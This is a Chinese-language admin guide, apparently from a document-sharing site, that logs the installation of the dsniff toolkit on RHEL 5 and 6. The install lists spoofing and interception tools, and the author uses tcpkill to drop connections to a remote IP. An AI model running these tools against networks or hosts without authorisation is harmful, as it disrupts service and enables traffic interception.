[root@tech02 tmp]# rpm -ivh dsniff-2.4-0.1.b1.el5.rf.i386.rpm
warning: dsniff-2.4-0.1.b1.el5.rf.i386.rpm: Header V3 DSA signature: NOKEY, key ID 6b8d79e
6
Preparing...########################################### [100%] 1:dsniff########################################### [100%] [root@tech02 tmp]# rpm -ql dsniff | grep bin
/usr/sbin/arpspoof
/usr/sbin/dnsspoof
/usr/sbin/dsniff
/usr/sbin/filesnarf
/usr/sbin/macof
/usr/sbin/mailsnarf
/usr/sbin/msgsnarf
/usr/sbin/sshmitm
/usr/sbin/sshow
/usr/sbin/tcpkill
/usr/sbin/tcpnice
/usr/sbin/urlsnarf
/usr/sbin/webmitm
/usr/sbin/webspy
以上就有tcpkill命令,说明安装成功!可以使用了。

2、RHEL 6系统:
wget ftp://ftp.univie.ac.at/systems/linux/fedora/epel/6/i386/dsniff-2.4-0.9.b1.el6.i686.rpm
wget ftp://ftp.univie.ac.at/systems/linux/fedora/epel/6/i386/libnet-1.1.5-1.el6.i686.rpm
wget ftp://ftp.univie.ac.at/systems/linux/fedora/epel/6/i386/libnids-1.24-1.el6.i686.rpm
[root@RHEL601 tmp]# rpm -e libnet libnids --nodeps
[root@RHEL601 tmp]# rpm -ivh dsniff-2.4-0.9.b1.el6.i686.rpm
warning: dsniff-2.4-0.9.b1.el6.i686.rpm: Header V3 RSA/SHA256 Signature, key ID 0608b895: NOKEY
error: Failed dependencies:
libICE.so.6 is needed by dsniff-2.4-0.9.b1.el6.i686
libSM.so.6 is needed by dsniff-2.4-0.9.b1.el6.i686
libX mu.so.6 is needed by dsniff-2.4-0.9.b1.el6.i686
libnet.so.1 is needed by dsniff-2.4-0.9.b1.el6.i686
libnids.so.1.24 is needed by dsniff-2.4-0.9.b1.el6.i686
[root@RHEL601 tmp]# yum install libICE libSM libX mu -y
Loaded plugins: rhnplugin
This system is not registered with RHN.
RHN support will be disabled.
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package libICE.i686 0:1.0.6-1.el6 set to be updated
---> Package libSM.i686 0:1.1.0-7.1.el6 set to be updated
---> Package libX mu.i686 0:1.0.5-1.el6 set to be updated
--> Processing Dependency: libX t.so.6 for package: libX mu-1.0.5-1.el6.i686
--> Running transaction check
---> Package libX t.i686 0:1.0.7-1.el6 set to be updated
--> Finished Dependency Resolution
Dependencies Resolved
========================================================================== ==========================
Package Arch Version Repository Size
========================================================================== ==========================
Installing:
libICE i686 1.0.6-1.el6Server
52 k
libSM i686 1.1.0-7.1.el6Server
26 k
libX mu i686 1.0.5-1.el6Server
58 k
Installing for dependencies:
libX t i686 1.0.7-1.el6Server 168 k
Transaction Summary
========================================================================== ==========================
Install 4 Package(s)
Upgrade0 Package(s)
T otal download size: 305 k
Installed size: 668 k
Downloading Packages:
----------------------------------------------------------------------------------------------------
T otal 2.4 MB/s | 305 kB 00:00
Running rpm_check_debug
Running Transaction T est
Transaction T est Succeeded
Running Transaction
Warning: RPMDB altered outside of yum.
db4-devel-4.7.25-17.el6.i686 has missing requires of db4 = ('0', '4.7.25', '17.el6')
db4-devel-4.7.25-17.el6.i686 has missing requires of db4-cxx = ('0', '4.7.25', '17.el6')
db4-devel-4.7.25-17.el6.i686 has missing requires of libdb_cxx-4.7.so
libnet-devel-1.1.5-1.el6.i686 has missing requires of libnet = ('0', '1.1.5', '1.el6')
libnet-devel-1.1.5-1.el6.i686 has missing requires of libnet.so.1
libnids-devel-1.24-1.el6.i686 has missing requires of libnids = ('0', '1.24', '1.el6')
libnids-devel-1.24-1.el6.i686 has missing requires of libnids.so.1.24
rrdtool-1.4.4-1.el5.rf.i386 has missing requires of gettext
rrdtool-1.4.4-1.el5.rf.i386 has missing requires of perl(Time::HiRes)
rrdtool-1.4.4-1.el5.rf.i386 has missing requires of ruby
rrdtool-1.4.4-1.el5.rf.i386 has missing requires of xorg-x11-fonts-T ype1
Installing: libICE-1.0.6-1.el6.i6861/4 Installing: libSM-1.1.0-7.1.el6.i686 2/4
Installing: libX t-1.0.7-1.el6.i686 3/4
Installing: libX mu-1.0.5-1.el6.i6864/4
Installed:
libICE.i686 0:1.0.6-1.el6libSM.i686 0:1.1.0-7.1.el6libX mu.i686 0:1.0.5-1.el6
Dependency Installed:
libX t.i686 0:1.0.7-1.el6
Complete!
[root@RHEL601 tmp]# rpm -ivh libnet-1.1.5-1.el6.i686.rpm libnids-1.24-1.el6.i686.rpm dsniff-2.4 -0.9.b1.el6.i686.rpm
warning: libnet-1.1.5-1.el6.i686.rpm: Header V3 RSA/SHA256 Signature, key ID 0608b895: N OKEY
Preparing...########################################### [100%] 1:libnet########################################### [ 33%]
2:libnids########################################### [ 67%]
3:dsniff########################################### [100%] [root@RHEL601 tmp]# tcpkill
Version: 2.4
Usage: tcpkill [-i interface] [-1..9] expression
个人在工作中仅仅用到了类似tcpkill -9 host 192.168.10.30 &>/dev/null的命令(注:该IP地址为远程IP)。

相关文档
最新文档